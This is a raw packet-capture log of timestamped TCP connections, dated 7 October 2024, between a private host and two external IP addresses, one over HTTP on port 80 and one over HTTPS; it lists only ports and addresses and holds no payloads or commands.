Oct 7, 2024 18:43:19.452266932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.452305079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452316046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452326059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452336073 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.452336073 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.452410936 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.453563929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.453644037 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.453654051 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.453665018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.453684092 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.453684092 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.453727961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.453737974 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.453738928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.453749895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.453788042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.453788042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.456100941 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.456283092 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.456393003 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.456532001 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.456579924 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.456609011 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.456626892 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.459868908 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.459914923 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.460280895 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.460438967 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.460462093 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.479686975 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.479734898 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.479933977 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.480041027 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.480041027 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.480062008 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.480071068 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.483263016 CEST	49718	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.483283997 CEST	443	49718	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.483402014 CEST	49718	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.483674049 CEST	49718	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.483690977 CEST	443	49718	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.505166054 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.505244970 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.505335093 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.505670071 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.505688906 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.505701065 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.505707026 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.509183884 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.509208918 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.509294987 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.509494066 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.509505987 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.527852058 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.527940989 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.528124094 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.528191090 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.528191090 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.528225899 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.528253078 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.530900955 CEST	49720	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.530936003 CEST	443	49720	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.531055927 CEST	49720	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.531295061 CEST	49720	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.531312943 CEST	443	49720	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.586524010 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.586576939 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.586967945 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.586967945 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.586967945 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.590177059 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.590219021 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.590610027 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.590610027 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.590658903 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.658643961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.658732891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.658782959 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.658793926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.658804893 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.658821106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.658830881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.658839941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.658858061 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.658858061 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.658926964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.658936977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.658941984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.658947945 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.658978939 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.658987045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.658996105 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.658998013 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659009933 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659018993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659059048 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.659059048 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.659122944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659135103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659143925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659153938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659167051 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.659214020 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.659271002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659281969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659291029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659300089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659310102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659317970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659328938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659337997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659341097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.659341097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.659370899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659382105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659403086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659409046 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.659411907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.659442902 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.659442902 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.659482956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.661484957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661598921 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.661638975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661648035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661658049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661665916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661684036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661695957 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.661695957 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.661696911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661706924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661716938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661744118 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.661776066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.661776066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.661858082 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661866903 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661876917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661886930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661895990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661905050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661909103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.661947012 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.661947012 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.661969900 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661979914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661988974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.661997080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662009954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662034988 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.662034988 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.662054062 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.662075996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662086010 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662094116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662123919 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.662147045 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.662275076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662286043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662295103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662303925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662312031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662316084 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.662342072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662347078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.662350893 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662360907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662393093 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.662431955 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.662463903 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662540913 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.662602901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662611961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662621975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662631035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662640095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662650108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662659883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.662659883 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.662708044 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.662959099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663058996 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663064003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663074017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663081884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663090944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663099051 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663106918 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663109064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663121939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663127899 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663132906 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663141966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663151026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663161039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663168907 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663170099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663168907 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663197041 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663197041 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663254976 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663351059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663361073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663368940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663378000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663397074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663405895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663414955 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663423061 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663423061 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663427114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663438082 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663446903 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663461924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663461924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663491964 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663491964 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663712025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663717985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663789034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663840055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663850069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663858891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663866997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663877964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663886070 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663892984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663896084 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663907051 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663913965 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663929939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663933992 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663942099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663950920 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663954020 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.663961887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.663980007 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.664007902 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.664400101 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.664410114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.664419889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.664472103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.664472103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.664479017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.664489031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.664498091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.664506912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.664530993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.664530993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.664613008 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.665352106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.665361881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.665368080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.665436029 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.665501118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.665510893 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.665520906 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.665530920 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.665570021 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.665570021 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823167086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823188066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823199034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823209047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823220015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823230028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823240042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823249102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823260069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823266029 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823266029 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823271036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823283911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823292971 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823302031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823321104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823329926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823331118 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823331118 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823340893 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823350906 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823360920 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823390961 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823390961 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823438883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823443890 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823451042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823478937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823491096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823493958 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823493958 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823501110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823513031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823533058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823538065 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823538065 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823542118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823589087 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823589087 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823717117 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823731899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823745012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823755026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823764086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.823785067 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.823827982 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824075937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824182034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824213028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824224949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824282885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824373960 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824384928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824394941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824405909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824434996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824435949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824476957 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824476957 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824577093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824587107 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824598074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824613094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824623108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824632883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824641943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824649096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824649096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.824652910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.824662924 CEST	80	49699	46.8.231.109	192.168.2.7
